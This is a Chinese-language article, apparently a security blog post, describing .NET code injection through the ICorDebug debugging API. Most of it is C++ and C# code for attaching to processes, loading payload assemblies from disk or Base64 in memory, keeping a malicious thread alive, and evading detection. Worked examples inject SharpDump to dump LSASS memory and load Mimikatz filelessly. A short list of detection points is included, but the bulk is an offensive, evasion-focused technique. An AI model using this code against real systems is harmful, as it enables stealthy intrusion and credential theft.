深入挖掘.NET注入
字数 1516 2025-08-18 17:33:25
深入挖掘.NET注入技术:利用ICorDebug实现托管代码注入
前言
.NET注入技术长期以来一直用于后渗透开发,与大多数C2框架捆绑在一起。传统方法通常涉及将shellcode或DLL注入非托管空间,然后加载CLR来执行.NET代码。本文介绍一种创新的方法,通过直接利用.NET调试接口ICorDebug在目标进程中执行任意.NET方法,无需传统的注入技术。
ICorDebug简介
ICorDebug是.NET框架提供的调试API,允许开发者以编程方式控制和检查.NET进程的执行。与Visual Studio的调试功能类似,ICorDebug提供了丰富的接口来:
- 附加到运行中的.NET进程
- 控制执行流程(暂停、继续、单步执行)
- 检查和修改程序状态
- 在目标进程中评估表达式和方法
创建调试器环境
1. 初始化ICorDebug接口
首先需要确定并初始化目标.NET运行时版本:
ICLRMetaHost* metaHost;
ICLRRuntimeInfo* runtimeInfo;
HRESULT hr;
// 创建CLR元主机实例
if ((hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost)) != S_OK) {
return hr;
}
// 枚举已安装的运行时
IEnumUnknown* runtime;
if ((hr = metaHost->EnumerateInstalledRuntimes(&runtime)) != S_OK) {
return hr;
}
// 获取运行时信息并选择合适版本
while (runtime->Next(1, &enumRuntime, 0) == S_OK) {
if (enumRuntime->QueryInterface<ICLRRuntimeInfo>(&runtimeInfo) == S_OK) {
runtimeInfo->GetVersionString(frameworkName, &bytes);
wprintf(L"[*] Supported Framework: %s\n", frameworkName);
}
}
2. 创建调试器实例
ICorDebug* debug;
ICorDebugProcess* process;
// 获取ICorDebug接口
if ((hr = runtimeInfo->GetInterface(CLSID_CLRDebuggingLegacy, IID_ICorDebug, (LPVOID*)&debug)) != S_OK) {
return hr;
}
// 初始化调试器
debug->Initialize();
// 附加到目标进程
debug->DebugActiveProcess(targetPid, false, &process);
调试器事件处理
调试器通过回调接口与目标进程交互。我们需要实现ICorDebugManagedCallback来处理各种调试事件:
class ManagedCallback : public ICorDebugManagedCallback, public ICorDebugManagedCallback2 {
public:
// 处理断点事件
HRESULT Breakpoint(ICorDebugAppDomain* pAppDomain, ICorDebugThread* pThread, ICorDebugBreakpoint* pBreakpoint);
// 处理步进完成事件
HRESULT StepComplete(ICorDebugAppDomain* pAppDomain, ICorDebugThread* pThread, ICorDebugStepper* pStepper, CorDebugStepReason reason);
// 处理评估完成事件
HRESULT EvalComplete(ICorDebugAppDomain* pAppDomain, ICorDebugThread* pThread, ICorDebugEval* pEval);
// 处理线程创建事件
HRESULT CreateThread(ICorDebugAppDomain* pAppDomain, ICorDebugThread* thread);
// 其他必要的事件处理方法...
};
// 设置回调处理器
ManagedCallback* handler = new ManagedCallback();
debug->SetManagedHandler(handler);
关键注入技术
1. 寻找GC安全点
要在目标进程中执行代码,必须找到GC安全点(GC safe point)。这是JIT编译器插入的特殊位置,允许安全地执行垃圾回收和代码评估。
HRESULT ManagedCallback::StepComplete(ICorDebugAppDomain* pAppDomain, ICorDebugThread* pThread, ICorDebugStepper* pStepper, CorDebugStepReason reason) {
ICorDebugEval* eval;
bool stepAgain = false;
// 创建评估实例
if (pThread->CreateEval(&eval) != S_OK) {
stepAgain = true;
}
// 尝试创建字符串对象测试是否处于安全点
if (eval->NewString(L"Test") != S_OK) {
stepAgain = true;
}
// 根据结果决定是否继续步进
if (stepAgain) {
pStepper->Step(0);
} else {
pStepper->Deactivate();
// 可以在此处执行目标代码
}
pAppDomain->Continue(false);
return S_OK;
}
2. 加载.NET程序集
一旦找到安全点,可以加载并执行.NET程序集:
// 1. 查找Assembly.LoadFile方法
ICorDebugFunction* function;
if (FindMethod(&function, pAppDomain, L"mscorlib.dll",
L"System.Reflection.Assembly", L"LoadFile") != S_OK) {
return E_FAIL;
}
// 2. 创建路径字符串参数
ICorDebugValue* pathValue;
eval->NewString(L"C:\\payload.dll", &pathValue);
// 3. 调用LoadFile方法
eval->CallFunction(function, 1, &pathValue);
3. 内存加载程序集
为避免磁盘I/O,可以从内存加载Base64编码的程序集:
// 1. 创建Base64字符串
eval->NewString(BASE64_ENCODED_ASSEMBLY, &base64Value);
// 2. 调用Convert.FromBase64String
ICorDebugFunction* fromBase64;
FindMethod(&fromBase64, pAppDomain, L"mscorlib.dll",
L"System.Convert", L"FromBase64String");
eval->CallFunction(fromBase64, 1, &base64Value);
// 3. 在EvalComplete回调中获取字节数组结果
ICorDebugValue* byteArray;
pEval->GetResult(&byteArray);
// 4. 调用Assembly.Load(byte[])
ICorDebugFunction* loadMethod;
FindMethod(&loadMethod, pAppDomain, L"mscorlib.dll",
L"System.Reflection.Assembly", L"Load");
eval->CallFunction(loadMethod, 1, &byteArray);
目标进程选择策略
1. 标准注入目标
选择活跃的.NET进程,如mmc.exe(事件查看器):
STARTUPINFOW si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(STARTUPINFOA));
si.cb = sizeof(STARTUPINFOA);
CreateProcessW(
L"C:\\Windows\\System32\\eventvwr.exe",
NULL, NULL, NULL, false,
CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
2. 定制注入目标
利用AddInProcess.exe等.NET进程的特定行为:
- 通过命名管道触发代码执行
- 利用进程监视功能保持持久性
3. 进程创建注入
直接创建新进程并附加调试器:
debug->CreateProcessW(
L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInUtil.exe",
NULL, NULL, NULL, false,
CREATE_NEW_CONSOLE, NULL, NULL,
&si, &pi, (CorDebugCreateProcessFlags)0, &process);
持久化技术
确保注入代码在目标进程退出后继续运行:
// 示例.NET payload
namespace Injected {
class Injected {
public static void ThreadEntry() {
while(true) {
// 恶意代码
Thread.Sleep(1000);
}
}
public static void Entry() {
// 创建前台线程阻止进程退出
var thread = new System.Threading.Thread(new ThreadStart(ThreadEntry));
thread.Start();
}
}
}
检测与规避
检测点
-
调试器附加痕迹:
DebugActiveProcessAPI调用ntdll!DbgUiRemoteBreakin线程入口点- Sysmon事件ID 8(CreateRemoteThread)
-
进程修改:
WriteProcessMemory调用- 异常的内存区域
-
调试器存在:
CheckRemoteDebuggerPresent可检测活动调试会话- 进程属性中的调试标志
规避技术
-
使用
COMPlus环境变量优化JIT行为:COMPlus_JITMinOpts=1- 禁用最小优化COMPlus_ZapDisable=1- 禁用原生映像生成
-
快速分离调试器:
// 停止所有步进器 // 完成所有评估 debug->Detach(); -
选择低检测率的进程注入点
参考资源
- Windows Exploitation Tricks: Abusing the Debug Object
- Windows Debugging Framework Documentation
- GC Pauses and Safe Points
- NetCoreDbg - .NET Core Debugger
实际应用示例
1. 执行SharpDump转储LSASS内存
// 加载SharpDump程序集
eval->NewString(L"c:\\tools\\SharpDump.exe", &pathValue);
FindMethod(&loadFile, pAppDomain, L"mscorlib.dll",
L"System.Reflection.Assembly", L"LoadFile");
eval->CallFunction(loadFile, 1, &pathValue);
// 调用入口方法
FindMethod(&entry, pAppDomain, L"SharpDump.exe",
L"SharpDump.Program", L"Main");
eval->CallFunction(entry, 0, NULL);
2. 无文件注入Mimikatz
// 从内存加载Base64编码的Mimikatz
eval->NewString(MIMIKATZ_BASE64, &base64Value);
FindMethod(&fromBase64, pAppDomain, L"mscorlib.dll",
L"System.Convert", L"FromBase64String");
eval->CallFunction(fromBase64, 1, &base64Value);
// 调用Assembly.Load
FindMethod(&load, pAppDomain, L"mscorlib.dll",
L"System.Reflection.Assembly", L"Load");
eval->CallFunction(load, 1, &byteArray);
// 执行Mimikatz
FindMethod(&entry, pAppDomain, L"mimikatz.exe",
L"Program", L"Main");
eval->CallFunction(entry, 0, NULL);
总结
通过ICorDebug接口实现.NET注入提供了多种优势:
- 完全在托管环境中操作,避免传统注入技术的检测
- 无需加载非托管代码或shellcode
- 可直接调用任意.NET方法,灵活性高
- 支持多种注入场景(现有进程、新进程、特定行为触发)
这种技术特别适合红队操作,能够有效规避许多基于传统注入技术的检测机制。理解这些原理也有助于蓝队开发更有效的检测方法。